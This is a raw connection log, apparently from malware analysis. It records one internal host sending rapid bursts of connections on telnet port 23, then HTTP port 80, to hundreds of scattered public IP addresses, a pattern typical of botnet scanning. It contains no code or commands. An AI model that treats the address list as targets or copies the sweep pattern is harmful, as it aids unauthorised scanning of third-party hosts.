Jan 2, 2024 06:23:43.183144093 CET	14265	23	192.168.2.23	129.67.62.110
Jan 2, 2024 06:23:43.183144093 CET	14265	23	192.168.2.23	164.199.33.247
Jan 2, 2024 06:23:43.183146000 CET	14265	23	192.168.2.23	91.82.10.161
Jan 2, 2024 06:23:43.183152914 CET	14265	23	192.168.2.23	219.219.179.132
Jan 2, 2024 06:23:43.183152914 CET	14265	23	192.168.2.23	12.254.71.235
Jan 2, 2024 06:23:43.183159113 CET	14265	23	192.168.2.23	91.128.253.47
Jan 2, 2024 06:23:43.183161020 CET	14265	23	192.168.2.23	4.30.66.3
Jan 2, 2024 06:23:43.183161020 CET	14265	23	192.168.2.23	137.140.112.52
Jan 2, 2024 06:23:43.183161020 CET	14265	23	192.168.2.23	106.83.186.60
Jan 2, 2024 06:23:43.183166981 CET	14265	23	192.168.2.23	195.140.9.170
Jan 2, 2024 06:23:43.183170080 CET	14265	23	192.168.2.23	146.103.105.249
Jan 2, 2024 06:23:43.183170080 CET	14265	23	192.168.2.23	41.241.85.220
Jan 2, 2024 06:23:43.183170080 CET	14265	23	192.168.2.23	40.47.137.92
Jan 2, 2024 06:23:43.183177948 CET	14265	23	192.168.2.23	124.41.240.203
Jan 2, 2024 06:23:43.183178902 CET	14265	23	192.168.2.23	138.115.94.245
Jan 2, 2024 06:23:43.183182955 CET	14265	23	192.168.2.23	150.28.250.253
Jan 2, 2024 06:23:43.183187008 CET	14265	23	192.168.2.23	72.186.224.60
Jan 2, 2024 06:23:43.183193922 CET	14265	23	192.168.2.23	78.126.198.148
Jan 2, 2024 06:23:43.183196068 CET	14265	23	192.168.2.23	73.147.252.36
Jan 2, 2024 06:23:43.183197021 CET	14265	23	192.168.2.23	49.237.46.5
Jan 2, 2024 06:23:43.183212042 CET	14265	23	192.168.2.23	95.7.142.85
Jan 2, 2024 06:23:43.183212042 CET	14265	23	192.168.2.23	27.146.242.243
Jan 2, 2024 06:23:43.183214903 CET	14265	23	192.168.2.23	110.50.232.40
Jan 2, 2024 06:23:43.183219910 CET	14265	23	192.168.2.23	188.34.100.221
Jan 2, 2024 06:23:43.183219910 CET	14265	23	192.168.2.23	49.137.39.173
Jan 2, 2024 06:23:43.183223963 CET	14265	23	192.168.2.23	154.47.127.92
Jan 2, 2024 06:23:43.183223963 CET	14265	23	192.168.2.23	89.236.100.206
Jan 2, 2024 06:23:43.183226109 CET	14265	23	192.168.2.23	188.181.148.227
Jan 2, 2024 06:23:43.183227062 CET	14265	23	192.168.2.23	4.69.40.14
Jan 2, 2024 06:23:43.183227062 CET	14265	23	192.168.2.23	118.200.182.184
Jan 2, 2024 06:23:43.183231115 CET	14265	23	192.168.2.23	152.128.1.18
Jan 2, 2024 06:23:43.183231115 CET	14265	23	192.168.2.23	170.72.104.188
Jan 2, 2024 06:23:43.183231115 CET	14265	23	192.168.2.23	25.132.159.223
Jan 2, 2024 06:23:43.183233976 CET	14265	23	192.168.2.23	68.152.35.240
Jan 2, 2024 06:23:43.183237076 CET	14265	23	192.168.2.23	51.248.121.96
Jan 2, 2024 06:23:43.183245897 CET	14265	23	192.168.2.23	135.197.92.119
Jan 2, 2024 06:23:43.183248043 CET	14265	23	192.168.2.23	155.144.80.217
Jan 2, 2024 06:23:43.183254004 CET	14265	23	192.168.2.23	70.55.212.173
Jan 2, 2024 06:23:43.183257103 CET	14265	23	192.168.2.23	192.146.77.109
Jan 2, 2024 06:23:43.183267117 CET	14265	23	192.168.2.23	1.33.65.133
Jan 2, 2024 06:23:43.183267117 CET	14265	23	192.168.2.23	63.214.3.253
Jan 2, 2024 06:23:43.183267117 CET	14265	23	192.168.2.23	89.157.70.111
Jan 2, 2024 06:23:43.183269024 CET	14265	23	192.168.2.23	147.233.249.188
Jan 2, 2024 06:23:43.183271885 CET	14265	23	192.168.2.23	39.243.62.7
Jan 2, 2024 06:23:43.183280945 CET	14265	23	192.168.2.23	173.87.99.144
Jan 2, 2024 06:23:43.183295012 CET	14265	23	192.168.2.23	8.169.57.48
Jan 2, 2024 06:23:43.183298111 CET	14265	23	192.168.2.23	78.67.192.213
Jan 2, 2024 06:23:43.183298111 CET	14265	23	192.168.2.23	78.103.139.38
Jan 2, 2024 06:23:43.183300972 CET	14265	23	192.168.2.23	151.145.68.11
Jan 2, 2024 06:23:43.183300972 CET	14265	23	192.168.2.23	220.131.237.220
Jan 2, 2024 06:23:43.183300972 CET	14265	23	192.168.2.23	8.184.29.156
Jan 2, 2024 06:23:43.183307886 CET	14265	23	192.168.2.23	191.93.64.32
Jan 2, 2024 06:23:43.183312893 CET	14265	23	192.168.2.23	84.173.136.5
Jan 2, 2024 06:23:43.183321953 CET	14265	23	192.168.2.23	119.235.184.34
Jan 2, 2024 06:23:43.183321953 CET	14265	23	192.168.2.23	14.217.229.201
Jan 2, 2024 06:23:43.183321953 CET	14265	23	192.168.2.23	121.101.48.200
Jan 2, 2024 06:23:43.183326960 CET	14265	23	192.168.2.23	126.241.162.24
Jan 2, 2024 06:23:43.183331013 CET	14265	23	192.168.2.23	165.33.140.168
Jan 2, 2024 06:23:43.183331013 CET	14265	23	192.168.2.23	87.239.29.53
Jan 2, 2024 06:23:43.183331013 CET	14265	23	192.168.2.23	193.211.170.219
Jan 2, 2024 06:23:43.183332920 CET	14265	23	192.168.2.23	147.99.243.91
Jan 2, 2024 06:23:43.183332920 CET	14265	23	192.168.2.23	5.137.64.165
Jan 2, 2024 06:23:43.183346033 CET	14265	23	192.168.2.23	171.209.92.186
Jan 2, 2024 06:23:43.183346033 CET	14265	23	192.168.2.23	193.107.21.249
Jan 2, 2024 06:23:43.183351040 CET	14265	23	192.168.2.23	82.28.249.207
Jan 2, 2024 06:23:43.183351994 CET	14265	23	192.168.2.23	80.137.50.33
Jan 2, 2024 06:23:43.183351994 CET	14265	23	192.168.2.23	221.194.215.61
Jan 2, 2024 06:23:43.183351994 CET	14265	23	192.168.2.23	58.86.104.202
Jan 2, 2024 06:23:43.183362007 CET	14265	23	192.168.2.23	129.232.31.115
Jan 2, 2024 06:23:43.183365107 CET	14265	23	192.168.2.23	83.255.49.246
Jan 2, 2024 06:23:43.183365107 CET	14265	23	192.168.2.23	9.245.45.194
Jan 2, 2024 06:23:43.183365107 CET	14265	23	192.168.2.23	62.111.10.91
Jan 2, 2024 06:23:43.183377981 CET	14265	23	192.168.2.23	96.199.69.159
Jan 2, 2024 06:23:43.183377981 CET	14265	23	192.168.2.23	107.227.195.173
Jan 2, 2024 06:23:43.183378935 CET	14265	23	192.168.2.23	195.61.26.65
Jan 2, 2024 06:23:43.183378935 CET	14265	23	192.168.2.23	92.142.176.230
Jan 2, 2024 06:23:43.183382034 CET	14265	23	192.168.2.23	25.176.139.226
Jan 2, 2024 06:23:43.183382034 CET	14265	23	192.168.2.23	92.120.199.7
Jan 2, 2024 06:23:43.183401108 CET	14265	23	192.168.2.23	59.77.224.151
Jan 2, 2024 06:23:43.183401108 CET	14265	23	192.168.2.23	195.35.49.66
Jan 2, 2024 06:23:43.183402061 CET	14265	23	192.168.2.23	223.114.154.55
Jan 2, 2024 06:23:43.183403015 CET	14265	23	192.168.2.23	99.109.172.213
Jan 2, 2024 06:23:43.183407068 CET	14265	23	192.168.2.23	210.37.255.178
Jan 2, 2024 06:23:43.183409929 CET	14265	23	192.168.2.23	4.37.180.12
Jan 2, 2024 06:23:43.183409929 CET	14265	23	192.168.2.23	99.172.134.127
Jan 2, 2024 06:23:43.183419943 CET	14265	23	192.168.2.23	38.188.233.148
Jan 2, 2024 06:23:43.183419943 CET	14265	23	192.168.2.23	45.41.140.223
Jan 2, 2024 06:23:43.183428049 CET	14265	23	192.168.2.23	53.52.134.254
Jan 2, 2024 06:23:43.183428049 CET	14265	23	192.168.2.23	212.225.171.249
Jan 2, 2024 06:23:43.183435917 CET	14265	23	192.168.2.23	163.87.33.171
Jan 2, 2024 06:23:43.183439016 CET	14265	23	192.168.2.23	81.23.64.115
Jan 2, 2024 06:23:43.183439016 CET	14265	23	192.168.2.23	177.216.245.60
Jan 2, 2024 06:23:43.183443069 CET	14265	23	192.168.2.23	207.10.132.155
Jan 2, 2024 06:23:43.183445930 CET	14265	23	192.168.2.23	203.21.167.202
Jan 2, 2024 06:23:43.183445930 CET	14265	23	192.168.2.23	183.2.64.202
Jan 2, 2024 06:23:43.183449030 CET	14265	23	192.168.2.23	219.2.163.115
Jan 2, 2024 06:23:43.183449030 CET	14265	23	192.168.2.23	95.118.14.226
Jan 2, 2024 06:23:43.183449984 CET	14265	23	192.168.2.23	65.47.133.75
Jan 2, 2024 06:23:43.183449984 CET	14265	23	192.168.2.23	198.144.145.122
Jan 2, 2024 06:23:43.183459044 CET	14265	23	192.168.2.23	117.37.195.246
Jan 2, 2024 06:23:43.183464050 CET	14265	23	192.168.2.23	144.243.161.195
Jan 2, 2024 06:23:43.183475018 CET	14265	23	192.168.2.23	154.148.224.12
Jan 2, 2024 06:23:43.183475018 CET	14265	23	192.168.2.23	54.0.57.20
Jan 2, 2024 06:23:43.183475018 CET	14265	23	192.168.2.23	170.3.144.244
Jan 2, 2024 06:23:43.183485031 CET	14265	23	192.168.2.23	165.140.166.156
Jan 2, 2024 06:23:43.183487892 CET	14265	23	192.168.2.23	82.219.182.19
Jan 2, 2024 06:23:43.183490992 CET	14265	23	192.168.2.23	163.41.91.141
Jan 2, 2024 06:23:43.183495045 CET	14265	23	192.168.2.23	2.17.136.55
Jan 2, 2024 06:23:43.183502913 CET	14265	23	192.168.2.23	52.221.81.146
Jan 2, 2024 06:23:43.183502913 CET	14265	23	192.168.2.23	68.177.232.93
Jan 2, 2024 06:23:43.183507919 CET	14265	23	192.168.2.23	75.105.100.126
Jan 2, 2024 06:23:43.183507919 CET	14265	23	192.168.2.23	24.121.88.221
Jan 2, 2024 06:23:43.183510065 CET	14265	23	192.168.2.23	128.189.21.24
Jan 2, 2024 06:23:43.183511019 CET	14265	23	192.168.2.23	5.223.232.231
Jan 2, 2024 06:23:43.183521986 CET	14265	23	192.168.2.23	158.32.232.21
Jan 2, 2024 06:23:43.183522940 CET	14265	23	192.168.2.23	59.135.6.40
Jan 2, 2024 06:23:43.183525085 CET	14265	23	192.168.2.23	95.175.33.185
Jan 2, 2024 06:23:43.183525085 CET	14265	23	192.168.2.23	159.176.238.255
Jan 2, 2024 06:23:43.183526039 CET	14265	23	192.168.2.23	83.28.209.108
Jan 2, 2024 06:23:43.183526993 CET	14265	23	192.168.2.23	169.4.138.190
Jan 2, 2024 06:23:43.183526993 CET	14265	23	192.168.2.23	80.149.104.50
Jan 2, 2024 06:23:43.183526993 CET	14265	23	192.168.2.23	74.194.150.125
Jan 2, 2024 06:23:43.183537006 CET	14265	23	192.168.2.23	136.71.45.192
Jan 2, 2024 06:23:43.183538914 CET	14265	23	192.168.2.23	171.217.0.17
Jan 2, 2024 06:23:43.183542013 CET	14265	23	192.168.2.23	149.121.53.232
Jan 2, 2024 06:23:43.183542013 CET	14265	23	192.168.2.23	31.45.233.131
Jan 2, 2024 06:23:43.183542013 CET	14265	23	192.168.2.23	130.159.121.48
Jan 2, 2024 06:23:43.183548927 CET	14265	23	192.168.2.23	93.182.116.135
Jan 2, 2024 06:23:43.183548927 CET	14265	23	192.168.2.23	60.151.85.72
Jan 2, 2024 06:23:43.183556080 CET	14265	23	192.168.2.23	37.177.129.23
Jan 2, 2024 06:23:43.183556080 CET	14265	23	192.168.2.23	209.56.108.176
Jan 2, 2024 06:23:43.183559895 CET	14265	23	192.168.2.23	156.169.169.0
Jan 2, 2024 06:23:43.183562040 CET	14265	23	192.168.2.23	123.1.50.73
Jan 2, 2024 06:23:43.183567047 CET	14265	23	192.168.2.23	62.32.20.233
Jan 2, 2024 06:23:43.183568001 CET	14265	23	192.168.2.23	31.149.45.66
Jan 2, 2024 06:23:43.183568954 CET	14265	23	192.168.2.23	181.76.48.9
Jan 2, 2024 06:23:43.183568954 CET	14265	23	192.168.2.23	173.167.215.106
Jan 2, 2024 06:23:43.183571100 CET	14265	23	192.168.2.23	170.106.17.2
Jan 2, 2024 06:23:43.183573008 CET	14265	23	192.168.2.23	73.140.153.250
Jan 2, 2024 06:23:43.183578968 CET	14265	23	192.168.2.23	99.118.6.93
Jan 2, 2024 06:23:43.183584929 CET	14265	23	192.168.2.23	14.48.251.26
Jan 2, 2024 06:23:43.183585882 CET	14265	23	192.168.2.23	134.16.27.121
Jan 2, 2024 06:23:43.183585882 CET	14265	23	192.168.2.23	198.212.90.180
Jan 2, 2024 06:23:43.183588028 CET	14265	23	192.168.2.23	124.208.48.86
Jan 2, 2024 06:23:43.183588028 CET	14265	23	192.168.2.23	119.6.66.20
Jan 2, 2024 06:23:43.183594942 CET	14265	23	192.168.2.23	220.35.74.252
Jan 2, 2024 06:23:43.183594942 CET	14265	23	192.168.2.23	219.2.30.152
Jan 2, 2024 06:23:43.183600903 CET	14265	23	192.168.2.23	171.16.143.211
Jan 2, 2024 06:23:43.183600903 CET	14265	23	192.168.2.23	69.7.223.65
Jan 2, 2024 06:23:43.183602095 CET	14265	23	192.168.2.23	69.57.108.174
Jan 2, 2024 06:23:43.183604956 CET	14265	23	192.168.2.23	71.69.128.234
Jan 2, 2024 06:23:43.183604956 CET	14265	23	192.168.2.23	200.161.249.14
Jan 2, 2024 06:23:43.183610916 CET	14265	23	192.168.2.23	184.189.220.224
Jan 2, 2024 06:23:43.183613062 CET	14265	23	192.168.2.23	157.191.150.71
Jan 2, 2024 06:23:43.183613062 CET	14265	23	192.168.2.23	14.209.126.224
Jan 2, 2024 06:23:43.183613062 CET	14265	23	192.168.2.23	98.44.28.131
Jan 2, 2024 06:23:43.183620930 CET	14265	23	192.168.2.23	189.123.84.175
Jan 2, 2024 06:23:43.183621883 CET	14265	23	192.168.2.23	51.176.225.152
Jan 2, 2024 06:23:43.183621883 CET	14265	23	192.168.2.23	42.211.238.138
Jan 2, 2024 06:23:43.183621883 CET	14265	23	192.168.2.23	178.13.96.179
Jan 2, 2024 06:23:43.183631897 CET	14265	23	192.168.2.23	57.7.172.240
Jan 2, 2024 06:23:43.183634043 CET	14265	23	192.168.2.23	155.107.96.164
Jan 2, 2024 06:23:43.183634996 CET	14265	23	192.168.2.23	181.56.113.24
Jan 2, 2024 06:23:43.183634996 CET	14265	23	192.168.2.23	190.198.90.139
Jan 2, 2024 06:23:43.183635950 CET	14265	23	192.168.2.23	222.72.205.107
Jan 2, 2024 06:23:43.183638096 CET	14265	23	192.168.2.23	59.82.24.121
Jan 2, 2024 06:23:43.183639050 CET	14265	23	192.168.2.23	206.182.248.106
Jan 2, 2024 06:23:43.183639050 CET	14265	23	192.168.2.23	1.187.242.153
Jan 2, 2024 06:23:43.183639050 CET	14265	23	192.168.2.23	188.97.24.200
Jan 2, 2024 06:23:43.183645010 CET	14265	23	192.168.2.23	60.136.123.242
Jan 2, 2024 06:23:43.183653116 CET	14265	23	192.168.2.23	59.144.9.158
Jan 2, 2024 06:23:43.183653116 CET	14265	23	192.168.2.23	151.179.225.217
Jan 2, 2024 06:23:43.183655977 CET	14265	23	192.168.2.23	216.18.154.174
Jan 2, 2024 06:23:43.183657885 CET	14265	23	192.168.2.23	69.166.136.80
Jan 2, 2024 06:23:43.183657885 CET	14265	23	192.168.2.23	53.212.2.220
Jan 2, 2024 06:23:43.183665991 CET	14265	23	192.168.2.23	222.250.4.67
Jan 2, 2024 06:23:43.183676958 CET	14265	23	192.168.2.23	220.36.3.197
Jan 2, 2024 06:23:43.183677912 CET	14265	23	192.168.2.23	36.52.204.171
Jan 2, 2024 06:23:43.183679104 CET	14265	23	192.168.2.23	109.12.46.137
Jan 2, 2024 06:23:43.183679104 CET	14265	23	192.168.2.23	186.168.54.157
Jan 2, 2024 06:23:43.183680058 CET	14265	23	192.168.2.23	197.181.60.104
Jan 2, 2024 06:23:43.183685064 CET	14265	23	192.168.2.23	112.72.66.209
Jan 2, 2024 06:23:43.183685064 CET	14265	23	192.168.2.23	167.223.48.159
Jan 2, 2024 06:23:43.183701038 CET	14265	23	192.168.2.23	219.41.249.247
Jan 2, 2024 06:23:43.183701992 CET	14265	23	192.168.2.23	118.139.220.62
Jan 2, 2024 06:23:43.183713913 CET	14265	23	192.168.2.23	96.51.142.154
Jan 2, 2024 06:23:43.183715105 CET	14265	23	192.168.2.23	49.84.94.34
Jan 2, 2024 06:23:43.183715105 CET	14265	23	192.168.2.23	13.163.254.173
Jan 2, 2024 06:23:43.183717012 CET	14265	23	192.168.2.23	191.105.114.112
Jan 2, 2024 06:23:43.183717012 CET	14265	23	192.168.2.23	87.174.150.217
Jan 2, 2024 06:23:43.183727980 CET	14265	23	192.168.2.23	188.73.150.106
Jan 2, 2024 06:23:43.183727980 CET	14265	23	192.168.2.23	143.34.3.22
Jan 2, 2024 06:23:43.183728933 CET	14265	23	192.168.2.23	113.85.192.65
Jan 2, 2024 06:23:43.183728933 CET	14265	23	192.168.2.23	115.10.3.34
Jan 2, 2024 06:23:43.183732033 CET	14265	23	192.168.2.23	222.33.116.236
Jan 2, 2024 06:23:43.183737993 CET	14265	23	192.168.2.23	121.56.198.248
Jan 2, 2024 06:23:43.183738947 CET	14265	23	192.168.2.23	24.173.194.63
Jan 2, 2024 06:23:43.183754921 CET	14265	23	192.168.2.23	107.119.166.81
Jan 2, 2024 06:23:43.188779116 CET	18377	80	192.168.2.23	64.99.20.209
Jan 2, 2024 06:23:43.188783884 CET	18377	80	192.168.2.23	152.204.182.133
Jan 2, 2024 06:23:43.188791990 CET	18377	80	192.168.2.23	9.61.55.235
Jan 2, 2024 06:23:43.188793898 CET	18377	80	192.168.2.23	136.154.86.214
Jan 2, 2024 06:23:43.188793898 CET	18377	80	192.168.2.23	146.125.215.181
Jan 2, 2024 06:23:43.188806057 CET	18377	80	192.168.2.23	148.199.49.172
Jan 2, 2024 06:23:43.188807964 CET	18377	80	192.168.2.23	4.146.120.243
Jan 2, 2024 06:23:43.188808918 CET	18377	80	192.168.2.23	217.119.244.147
Jan 2, 2024 06:23:43.188818932 CET	18377	80	192.168.2.23	44.213.149.118
Jan 2, 2024 06:23:43.188822985 CET	18377	80	192.168.2.23	143.44.151.86
Jan 2, 2024 06:23:43.188827038 CET	18377	80	192.168.2.23	43.48.103.15
Jan 2, 2024 06:23:43.188829899 CET	18377	80	192.168.2.23	223.244.103.143
Jan 2, 2024 06:23:43.188833952 CET	18377	80	192.168.2.23	179.8.139.239
Jan 2, 2024 06:23:43.188833952 CET	18377	80	192.168.2.23	50.118.36.147
Jan 2, 2024 06:23:43.188834906 CET	18377	80	192.168.2.23	131.92.138.126
Jan 2, 2024 06:23:43.188848019 CET	18377	80	192.168.2.23	37.9.101.116
Jan 2, 2024 06:23:43.188848972 CET	18377	80	192.168.2.23	91.159.164.85
Jan 2, 2024 06:23:43.188849926 CET	18377	80	192.168.2.23	159.211.253.91
Jan 2, 2024 06:23:43.188851118 CET	18377	80	192.168.2.23	114.56.205.48
Jan 2, 2024 06:23:43.188851118 CET	18377	80	192.168.2.23	217.107.119.21
Jan 2, 2024 06:23:43.188851118 CET	18377	80	192.168.2.23	78.141.167.241
Jan 2, 2024 06:23:43.188858032 CET	18377	80	192.168.2.23	70.193.127.13
Jan 2, 2024 06:23:43.188905001 CET	18377	80	192.168.2.23	89.22.3.103
Jan 2, 2024 06:23:43.188905001 CET	18377	80	192.168.2.23	134.23.118.225
Jan 2, 2024 06:23:43.188905954 CET	18377	80	192.168.2.23	198.219.230.245
Jan 2, 2024 06:23:43.188910007 CET	18377	80	192.168.2.23	199.114.156.61
Jan 2, 2024 06:23:43.188925028 CET	18377	80	192.168.2.23	172.152.75.44
Jan 2, 2024 06:23:43.188927889 CET	18377	80	192.168.2.23	72.86.70.190
Jan 2, 2024 06:23:43.188927889 CET	18377	80	192.168.2.23	172.219.24.194
Jan 2, 2024 06:23:43.188927889 CET	18377	80	192.168.2.23	139.226.143.76
Jan 2, 2024 06:23:43.188932896 CET	18377	80	192.168.2.23	84.44.242.207
Jan 2, 2024 06:23:43.188932896 CET	18377	80	192.168.2.23	35.106.40.213
Jan 2, 2024 06:23:43.188936949 CET	18377	80	192.168.2.23	25.243.113.188
Jan 2, 2024 06:23:43.188936949 CET	18377	80	192.168.2.23	57.190.211.82
Jan 2, 2024 06:23:43.188946009 CET	18377	80	192.168.2.23	133.85.94.197
Jan 2, 2024 06:23:43.188949108 CET	18377	80	192.168.2.23	79.171.17.230
Jan 2, 2024 06:23:43.188949108 CET	18377	80	192.168.2.23	64.100.109.111
Jan 2, 2024 06:23:43.188956976 CET	18377	80	192.168.2.23	125.58.123.175
Jan 2, 2024 06:23:43.188956976 CET	18377	80	192.168.2.23	37.22.115.32
Jan 2, 2024 06:23:43.188968897 CET	18377	80	192.168.2.23	135.19.161.111
Jan 2, 2024 06:23:43.188970089 CET	18377	80	192.168.2.23	42.154.198.0
Jan 2, 2024 06:23:43.188971996 CET	18377	80	192.168.2.23	123.32.120.39
Jan 2, 2024 06:23:43.188972950 CET	18377	80	192.168.2.23	151.45.196.10
Jan 2, 2024 06:23:43.188968897 CET	18377	80	192.168.2.23	173.217.199.42
Jan 2, 2024 06:23:43.188973904 CET	18377	80	192.168.2.23	2.28.251.118
Jan 2, 2024 06:23:43.188972950 CET	18377	80	192.168.2.23	73.108.213.68
Jan 2, 2024 06:23:43.188977957 CET	18377	80	192.168.2.23	51.100.247.235
Jan 2, 2024 06:23:43.188983917 CET	18377	80	192.168.2.23	149.156.43.138
Jan 2, 2024 06:23:43.188994884 CET	18377	80	192.168.2.23	192.78.214.129
Jan 2, 2024 06:23:43.188997030 CET	18377	80	192.168.2.23	131.173.66.37
Jan 2, 2024 06:23:43.188997030 CET	18377	80	192.168.2.23	12.186.0.179
Jan 2, 2024 06:23:43.188997030 CET	18377	80	192.168.2.23	62.24.103.102
Jan 2, 2024 06:23:43.188997030 CET	18377	80	192.168.2.23	5.141.38.112
Jan 2, 2024 06:23:43.188997030 CET	18377	80	192.168.2.23	115.66.166.7
Jan 2, 2024 06:23:43.189001083 CET	18377	80	192.168.2.23	89.22.194.92
Jan 2, 2024 06:23:43.189001083 CET	18377	80	192.168.2.23	176.154.171.140
Jan 2, 2024 06:23:43.189001083 CET	18377	80	192.168.2.23	40.144.108.136
Jan 2, 2024 06:23:43.189001083 CET	18377	80	192.168.2.23	111.70.96.166
Jan 2, 2024 06:23:43.189001083 CET	18377	80	192.168.2.23	102.203.107.155
Jan 2, 2024 06:23:43.189001083 CET	18377	80	192.168.2.23	77.0.248.254
Jan 2, 2024 06:23:43.189007998 CET	18377	80	192.168.2.23	201.78.3.32
Jan 2, 2024 06:23:43.189013958 CET	18377	80	192.168.2.23	25.18.86.188
Jan 2, 2024 06:23:43.189013958 CET	18377	80	192.168.2.23	220.115.90.253
Jan 2, 2024 06:23:43.189013958 CET	18377	80	192.168.2.23	211.121.95.152
Jan 2, 2024 06:23:43.189019918 CET	18377	80	192.168.2.23	222.182.30.71
Jan 2, 2024 06:23:43.189019918 CET	18377	80	192.168.2.23	19.181.140.14
Jan 2, 2024 06:23:43.189021111 CET	18377	80	192.168.2.23	168.221.222.87
Jan 2, 2024 06:23:43.189028025 CET	18377	80	192.168.2.23	194.163.146.184
Jan 2, 2024 06:23:43.189028978 CET	18377	80	192.168.2.23	188.180.60.23
Jan 2, 2024 06:23:43.189028978 CET	18377	80	192.168.2.23	44.91.47.7
Jan 2, 2024 06:23:43.189028025 CET	18377	80	192.168.2.23	147.190.210.184
Jan 2, 2024 06:23:43.189032078 CET	18377	80	192.168.2.23	106.178.27.45
Jan 2, 2024 06:23:43.189042091 CET	18377	80	192.168.2.23	133.94.187.171
Jan 2, 2024 06:23:43.189044952 CET	18377	80	192.168.2.23	88.178.236.152
Jan 2, 2024 06:23:43.189049959 CET	18377	80	192.168.2.23	101.162.29.52
Jan 2, 2024 06:23:43.189053059 CET	18377	80	192.168.2.23	59.86.211.65
Jan 2, 2024 06:23:43.189059019 CET	18377	80	192.168.2.23	217.96.231.193
Jan 2, 2024 06:23:43.189059019 CET	18377	80	192.168.2.23	162.34.92.36
Jan 2, 2024 06:23:43.189064026 CET	18377	80	192.168.2.23	118.22.209.65
Jan 2, 2024 06:23:43.189076900 CET	18377	80	192.168.2.23	179.148.230.85
Jan 2, 2024 06:23:43.189078093 CET	18377	80	192.168.2.23	137.124.45.117
Jan 2, 2024 06:23:43.189085007 CET	18377	80	192.168.2.23	213.237.115.55
Jan 2, 2024 06:23:43.189085960 CET	18377	80	192.168.2.23	125.37.75.211
Jan 2, 2024 06:23:43.189085960 CET	18377	80	192.168.2.23	192.214.237.68
Jan 2, 2024 06:23:43.189094067 CET	18377	80	192.168.2.23	152.104.226.225
Jan 2, 2024 06:23:43.189094067 CET	18377	80	192.168.2.23	71.73.54.236
Jan 2, 2024 06:23:43.189094067 CET	18377	80	192.168.2.23	38.100.0.29
Jan 2, 2024 06:23:43.189094067 CET	18377	80	192.168.2.23	61.205.124.225
Jan 2, 2024 06:23:43.189097881 CET	18377	80	192.168.2.23	173.16.148.175
Jan 2, 2024 06:23:43.189110994 CET	18377	80	192.168.2.23	176.205.228.179
Jan 2, 2024 06:23:43.189114094 CET	18377	80	192.168.2.23	92.112.104.57
Jan 2, 2024 06:23:43.189114094 CET	18377	80	192.168.2.23	80.95.33.175
Jan 2, 2024 06:23:43.189116001 CET	18377	80	192.168.2.23	222.221.26.74
Jan 2, 2024 06:23:43.189116955 CET	18377	80	192.168.2.23	78.10.245.137
Jan 2, 2024 06:23:43.189126015 CET	18377	80	192.168.2.23	61.158.187.83
Jan 2, 2024 06:23:43.189126968 CET	18377	80	192.168.2.23	93.61.136.183
Jan 2, 2024 06:23:43.189127922 CET	18377	80	192.168.2.23	59.223.213.233
Jan 2, 2024 06:23:43.189129114 CET	18377	80	192.168.2.23	90.92.99.112
Jan 2, 2024 06:23:43.189137936 CET	18377	80	192.168.2.23	123.193.192.167
Jan 2, 2024 06:23:43.189140081 CET	18377	80	192.168.2.23	192.135.48.78
Jan 2, 2024 06:23:43.189141035 CET	18377	80	192.168.2.23	176.250.237.29
Jan 2, 2024 06:23:43.189141989 CET	18377	80	192.168.2.23	106.168.136.80
Jan 2, 2024 06:23:43.189146042 CET	18377	80	192.168.2.23	194.33.46.190
Jan 2, 2024 06:23:43.189146996 CET	18377	80	192.168.2.23	161.11.110.67
Jan 2, 2024 06:23:43.189153910 CET	18377	80	192.168.2.23	211.79.16.205
Jan 2, 2024 06:23:43.189156055 CET	18377	80	192.168.2.23	197.75.242.85
Jan 2, 2024 06:23:43.189157009 CET	18377	80	192.168.2.23	5.117.183.28
Jan 2, 2024 06:23:43.189157009 CET	18377	80	192.168.2.23	60.46.195.181
Jan 2, 2024 06:23:43.189152956 CET	18377	80	192.168.2.23	14.36.132.208
Jan 2, 2024 06:23:43.189167023 CET	18377	80	192.168.2.23	80.126.188.103
Jan 2, 2024 06:23:43.189167976 CET	18377	80	192.168.2.23	115.196.152.57
Jan 2, 2024 06:23:43.189181089 CET	18377	80	192.168.2.23	140.134.1.171
Jan 2, 2024 06:23:43.189181089 CET	18377	80	192.168.2.23	54.173.103.101
Jan 2, 2024 06:23:43.189181089 CET	18377	80	192.168.2.23	153.140.253.80
Jan 2, 2024 06:23:43.189181089 CET	18377	80	192.168.2.23	23.115.12.126
Jan 2, 2024 06:23:43.189184904 CET	18377	80	192.168.2.23	58.98.104.53
Jan 2, 2024 06:23:43.189191103 CET	18377	80	192.168.2.23	216.105.195.79
Jan 2, 2024 06:23:43.189191103 CET	18377	80	192.168.2.23	158.137.194.167
Jan 2, 2024 06:23:43.189191103 CET	18377	80	192.168.2.23	128.115.103.83
Jan 2, 2024 06:23:43.189194918 CET	18377	80	192.168.2.23	86.68.171.242
Jan 2, 2024 06:23:43.189197063 CET	18377	80	192.168.2.23	219.83.242.98
Jan 2, 2024 06:23:43.189204931 CET	18377	80	192.168.2.23	91.179.234.20
Jan 2, 2024 06:23:43.189204931 CET	18377	80	192.168.2.23	213.177.186.195
Jan 2, 2024 06:23:43.189209938 CET	18377	80	192.168.2.23	96.35.178.67
Jan 2, 2024 06:23:43.189217091 CET	18377	80	192.168.2.23	181.253.97.224
Jan 2, 2024 06:23:43.189217091 CET	18377	80	192.168.2.23	108.151.15.68
Jan 2, 2024 06:23:43.189219952 CET	18377	80	192.168.2.23	124.101.44.141
Jan 2, 2024 06:23:43.189224958 CET	18377	80	192.168.2.23	122.223.218.124
Jan 2, 2024 06:23:43.189233065 CET	18377	80	192.168.2.23	218.117.44.40
Jan 2, 2024 06:23:43.189233065 CET	18377	80	192.168.2.23	199.30.236.138
Jan 2, 2024 06:23:43.189234972 CET	18377	80	192.168.2.23	8.124.162.114
Jan 2, 2024 06:23:43.189234972 CET	18377	80	192.168.2.23	136.101.38.3
Jan 2, 2024 06:23:43.189244032 CET	18377	80	192.168.2.23	216.69.101.121
Jan 2, 2024 06:23:43.189244032 CET	18377	80	192.168.2.23	91.246.75.90
Jan 2, 2024 06:23:43.189244032 CET	18377	80	192.168.2.23	81.190.232.216
Jan 2, 2024 06:23:43.189248085 CET	18377	80	192.168.2.23	180.224.32.250
Jan 2, 2024 06:23:43.189261913 CET	18377	80	192.168.2.23	198.30.167.131
Jan 2, 2024 06:23:43.189261913 CET	18377	80	192.168.2.23	32.29.252.96
Jan 2, 2024 06:23:43.189265966 CET	18377	80	192.168.2.23	60.88.246.250
Jan 2, 2024 06:23:43.189265966 CET	18377	80	192.168.2.23	83.243.45.15
Jan 2, 2024 06:23:43.189275026 CET	18377	80	192.168.2.23	66.211.162.196
Jan 2, 2024 06:23:43.189275980 CET	18377	80	192.168.2.23	8.77.116.18
